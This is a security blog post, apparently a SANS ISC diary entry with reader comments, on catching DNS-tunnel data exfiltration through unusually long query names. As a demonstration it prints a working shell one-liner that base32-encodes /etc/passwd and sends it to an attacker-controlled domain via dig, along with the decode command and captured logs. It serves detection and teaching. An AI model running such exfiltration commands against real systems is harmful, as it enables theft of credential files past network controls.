DNS Query Length... Because Size Does Matter
Last Updated: 2017-04-20 07:07:42 UTC
by Xavier Mertens (Version: 1)
In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass security controls. DNS tunnelling is a common way to establish connections with remote systems. It is often based on "TXT" records used to deliver the encoded payload. "TXT" records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.
Instead of using TXT records, data exfiltration may occur directly via the FQDN ("Fully Qualified Domain Name"). The RFC 1035 states that a DNS query length is 255 characters total with each subdomain being 63 characters or less. By using Base32 encoding, we can encode our data in strings compatible with the DNS requirements: "A-Z", "0-9" and "-". It is easy to exfiltrate a file with the following shell command. We encode our juicy file (/etc/passwd in this example) and generate DNS request to a domain controlled by the attacker:
$ cat /etc/passwd | base32 -w 63 | while read L do dig $L.data.rootshell.be @192.168.254.8 done
Note: the parameter '-w 63' prevent the encoding process from breaking the RFC. On the DNS side, here is what we get:
$ grep 'data.rootshell.be' queries.log 20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8) ...
To decode this on the attacker's host, use the following command:
$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
We don't need full access to the DNS server. If we have access to the network, we just have to sniff some traffic:
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be" tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110) ...
As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularly the query length. The following graph is generated from the DNS logs processed by a Splunk instance. It is helpful to see the distribution of query length across the network:
But, as usual, not all big DNS queries are suspicious. Some CDN's are using queries to identify files. Example:
To reduce the risk of false positives, this control can be combined with others:
- The volume of traffic per IP
- The volume of traffic per (sub-)domain
This technique is not new but comes back regularly in front of the stage. The malware 'Wekby' discovered in 2016 was already using this technique for C2 communications.
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
Apr 26th 2017
6 years ago
May 4th 2017
6 years ago
May 5th 2017
6 years ago
thanks for the nice trick for DNS Tunneling (for loop with pipes etc :-) - really neat!
Indeed DNS can be leveraged for detecting malicious activities on a network very neatly.
Besides the lengths of FQDNs, there some other patterns which I are find quite useful:
1. FQDN lengths and entropy of the DNS labels (labels are everything between the dots in the FQDN)
2. Usage rate of TXT records (or further unusual record types, such as CNAME, NS) across your endpoints: this is necessary to maximize the bandwidth of DNS tunnel, thus almost mandatory for attackers to use it.
3. NXDOMAIN error-rate across your endpoints: this is a telltale sign for infection by DGA-Malware .
A simple cheat-sheet for those patterns and how to use along with tshark:
Additional references here (slides from SANS DFIR Prague 2016):
Jun 20th 2017
5 years ago
Jun 22nd 2017
5 years ago